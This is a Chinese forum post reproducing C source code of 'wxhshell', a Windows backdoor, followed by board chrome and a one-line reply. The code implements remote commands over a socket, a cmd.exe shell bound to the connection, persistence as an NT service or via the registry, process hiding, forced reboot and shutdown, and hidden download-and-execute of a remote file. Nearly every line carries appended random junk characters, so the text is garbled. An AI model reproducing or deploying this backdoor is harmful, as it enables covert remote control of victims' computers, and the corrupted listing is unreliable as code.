  NL9.J @"b  
  // 帮助 n7!T{+ge  
  case '?': { 4=yzf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \dk1a  
    break; >]h{[kU %4  
  } 46C%at M0}  
  // 安装 u[GZ~L  
  case 'i': { UsE\p9mCuV  
    if(Install()) c^r8<KlI9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pv]@}+<Dt  
    else HMq}){=S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h"`\'(,X  
    break; ;8]HCC@:  
    } N^;lp<{6?  
  // 卸载 '.Y,VJaL  
  case 'r': { `^)`J  
    if(Uninstall()) x"2p5T7*>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AzU:Dxr>.G  
    else j\uZo.Ot+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jX7K- L  
    break; # &v4c  
    } xQFRM aQE  
  // 显示 wxhshell 所在路径 YgEd%Z%4  
  case 'p': { %S312=w  
    char svExeFile[MAX_PATH]; .}dLqw  
    strcpy(svExeFile,"\n\r"); xg p)G!  
      strcat(svExeFile,ExeFile); qYoW8e   
        send(wsh,svExeFile,strlen(svExeFile),0); o]? yyP  
    break; \]x`f3F  
    } ;j0.#P:a  
  // 重启  Q6 *n'6  
  case 'b': { {\$S585  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >k @t.PeoV  
    if(Boot(REBOOT)) t #(NfzN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); stw@@GQ  
    else { 0}i 9`p  
    closesocket(wsh); lU1SN/'zx  
    ExitThread(0); e@hPb$7  
    } :DH@zR  
    break; `gl?y;xC  
    } DwBe_h.  
  // 关机 OS[ s Qo5  
  case 'd': { ?qQ{]_q1&.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3U6QYD55]]  
    if(Boot(SHUTDOWN)) G"r{!IFL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SqAz((  
    else { JQ+Mg&&Q  
    closesocket(wsh); 48p3m) 5  
    ExitThread(0); KDN#CU  
    } L4iWR/&  
    break; gc4o |x  
    } s.z)l$  
  // 获取shell B;bP~e>W  
  case 's': { 'M%iS4b{IM  
    CmdShell(wsh); }cz58%  
    closesocket(wsh); /IirTmFK  
    ExitThread(0); RY5e%/bg~U  
    break; wU%uO/sU9  
  } Md6u4c  
  // 退出 ~criZI/  
  case 'x': { X0*+]tRg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ca=MUm=B  
    CloseIt(wsh); . r/s.g  
    break; (s'xO~p  
    } i?_Q@uA~<:  
  // 离开 mLq0;uGL|  
  case 'q': { P~(&lu/;P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :$Cm]RZ  
    closesocket(wsh); !KV!Tkx h  
    WSACleanup(); " lD -*e4  
    exit(1); zZ}. 2He8  
    break; 8 8u[s@  
        } thPAD+u.3  
  } %Vo'\|  
  } $Y/z+ea  
2K~v`c*4  
  // 提示信息 {:cGt2*~^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ (&uaDYv  
} @#wG)TA  
  } HtN: v  
@Hj]yb5  
  return; |(~IfSE2  
} r%: :q^b3  
Xp;'Wa"@  
// shell模块句柄 6~ET@"0uK  
int CmdShell(SOCKET sock) ,5 ,r .  
{ 2-S}#S}2C  
STARTUPINFO si; +^:uPW^U  
ZeroMemory(&si,sizeof(si)); ufR|V-BWx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d Np%=gIj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hbXmIst  
PROCESS_INFORMATION ProcessInfo; >u%Bn \G  
char cmdline[]="cmd"; @kd$.7Y9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s\.r3U&6  
  return 0; 2 zo>`;l  
} c%<81Y=  
S*r }oX0  
// 自身启动模式 dhLd2WSyH  
int StartFromService(void) # wn>S<  
{ i% 0 qN  
typedef struct Ps! \k%FUl  
{ P w6l'  
  DWORD ExitStatus; s2sJJdN  
  DWORD PebBaseAddress; ,ig`'U  
  DWORD AffinityMask; Lh+7z>1  
  DWORD BasePriority; )~)T[S  
  ULONG UniqueProcessId; kb-XEJ}L  
  ULONG InheritedFromUniqueProcessId; ;180ct4  
}   PROCESS_BASIC_INFORMATION; =>*}qen  
_bh$ t  
PROCNTQSIP NtQueryInformationProcess; >>=zkPy  
r 8N<<^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8U#14U5rS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NrcV%-+u%  
lyowH{.N"3  
  HANDLE             hProcess; $1X !Ecq_  
  PROCESS_BASIC_INFORMATION pbi; m[ S1  
EhW@iYL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }lk9|U#6*`  
  if(NULL == hInst ) return 0; pJ?y  
V\Lh(zPt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7WV"Wrl]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %i&am=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MDpx@.A,  
][f0ZMa  
  if (!NtQueryInformationProcess) return 0; J^kSp  
@$b7 eu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b#(QZ  
  if(!hProcess) return 0; <{V{2V#  
H1 ev W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _Wp, z`  
Nj;(QhYZ  
  CloseHandle(hProcess); m=`V  
*{fZA;<R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7CT446  
if(hProcess==NULL) return 0; j"0TAYmXwu  
X/!Y mV !  
HMODULE hMod; 9dg+@FS}=  
char procName[255]; `=TJw,q  
unsigned long cbNeeded; p=Q o92 NH  
FN0<iL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *XXa 9z  
k%RQf0`T  
  CloseHandle(hProcess); .>5E 4^$%  
?AQR\)P  
if(strstr(procName,"services")) return 1; // 以服务启动 C-2#-{<  
eET1f8 B=L  
  return 0; // 注册表启动 5IG#-Q(6sp  
} o>M&C X+j$  
$a')i<m^g  
// 主模块 En+`ZcA\z  
int StartWxhshell(LPSTR lpCmdLine) AQ-R^kT  
{ YZ0Q?7l7  
  SOCKET wsl; &53LJlL Co  
BOOL val=TRUE; LZPLz@=&]  
  int port=0; Oi!uJofW  
  struct sockaddr_in door; ( Q k*B  
c}7Rt|`c  
  if(wscfg.ws_autoins) Install(); h*NBSvn  
XQ k ,xQ  
port=atoi(lpCmdLine); B?XqH_=0L  
BfvvJh_  
if(port<=0) port=wscfg.ws_port; p6{8t}  
_'r&'s;<z  
  WSADATA data; xirZ.wjW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M-f; ,>  
x8rp Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }!vJ+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,|R\ Z,s  
  door.sin_family = AF_INET; _`]YWvh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /vPcg  
  door.sin_port = htons(port); sr$JFMTO11  
!_1RQ5]^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ADZU?7)  
closesocket(wsl); w#$Q?u ,G  
return 1; = :\o/)+  
} 6c#1Do(W+  
SQBe}FlktK  
  if(listen(wsl,2) == INVALID_SOCKET) { 9r,7>#IF  
closesocket(wsl); oGZ%w4T  
return 1; lGN{1djT  
} i\k>2df  
  Wxhshell(wsl); )6-!,D0db  
  WSACleanup(); }W"/h)q  
]OA8H[U-eA  
return 0; [RUYH5>Ik  
uHO>FM,  
} a^GJR]] {  
]$WwPDZ  
// 以NT服务方式启动 @X>Oj.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jUX0sRDk  
{ czp}-{4X  
DWORD   status = 0; w`K=J!5y2g  
  DWORD   specificError = 0xfffffff; [Gb8o'  
r`CsR0[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OM7EmMa;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u"1Zv!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )KD*G;<O]L  
  serviceStatus.dwWin32ExitCode     = 0; g~$cnU  
  serviceStatus.dwServiceSpecificExitCode = 0; GZqy.AE,  
  serviceStatus.dwCheckPoint       = 0; xrl!$xE GX  
  serviceStatus.dwWaitHint       = 0; b\Gw|?Rv  
DlbNW& V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w57D qG>  
  if (hServiceStatusHandle==0) return; T|Fl$is  
8d"Ff  
status = GetLastError(); 0h~7"qUF@  
  if (status!=NO_ERROR) 3,-xk!W$L  
{ jG&gd<^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2_Otv2  
    serviceStatus.dwCheckPoint       = 0; <-m[0zg q  
    serviceStatus.dwWaitHint       = 0; .qk_m-o  
    serviceStatus.dwWin32ExitCode     = status; OuF%!~V   
    serviceStatus.dwServiceSpecificExitCode = specificError; p{4nWeH?B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UB1/0o  
    return; La'XJ|>V  
  } 2i_k$-  
1|Z!8:&pj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $Q< >M B7  
  serviceStatus.dwCheckPoint       = 0; _"0Bg3Y  
  serviceStatus.dwWaitHint       = 0; +(3U_]Lu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K.K=\ Y2  
} uMe]].04  
i_6 Y6  
// 处理NT服务事件,比如:启动、停止 o& "nF+,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xRM)f93@  
{ g/6>>p`J  
switch(fdwControl) =Hwlo!  
{ `z{sDe;  
case SERVICE_CONTROL_STOP: m_g2Cep  
  serviceStatus.dwWin32ExitCode = 0; \bPSy0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w4e(p3  
  serviceStatus.dwCheckPoint   = 0; j>-O'CO  
  serviceStatus.dwWaitHint     = 0; 7[?{wbq  
  { "nEfk{g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <*5 5d2  
  } -3On^Wj]  
  return; ii :E>O(0B  
case SERVICE_CONTROL_PAUSE: ;X XB^,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; of k@.TmO  
  break; R9`37(c9+  
case SERVICE_CONTROL_CONTINUE: ' (1`iQ;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iy\ 6e k1  
  break; qTUyax  
case SERVICE_CONTROL_INTERROGATE: qz<>9n@o  
  break; HJeZm  
}; Gm2q`ki  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /f0*NNSat-  
} ~dc~<hK  
W2F*+M  
// 标准应用程序主函数 R+y 9JE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )D"E]  
{ yO`HL'SMo  
B LI 9(@  
// 获取操作系统版本 6_wj,7  
OsIsNt=GetOsVer(); [uD G;We=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I@/+=  
Ri mz~}+  
  // 从命令行安装 L&LK go  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2jiH&'@  
=AIeYUh  
  // 下载执行文件 $\A=J  
if(wscfg.ws_downexe) { +XP9=U*g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2j <Y>Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6=o'.03\f  
} Ods/1 KW  
lrL:v~g  
if(!OsIsNt) { nkAS]sC  
// 如果时win9x,隐藏进程并且设置为注册表启动 |`,AA a  
HideProc(); -.=:@H}r  
StartWxhshell(lpCmdLine); E6zSMl5b  
} }lP'bu  
else he\ pW5p  
  if(StartFromService()) LX2Re ]&  
  // 以服务方式启动 o3OtG#g2  
  StartServiceCtrlDispatcher(DispatchTable); 9 O2??N7f  
else _aj,tz  
  // 普通方式启动 yT<,0~F9  
  StartWxhshell(lpCmdLine); e"O c  
Z]\VOA>  
return 0; !xxdC  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八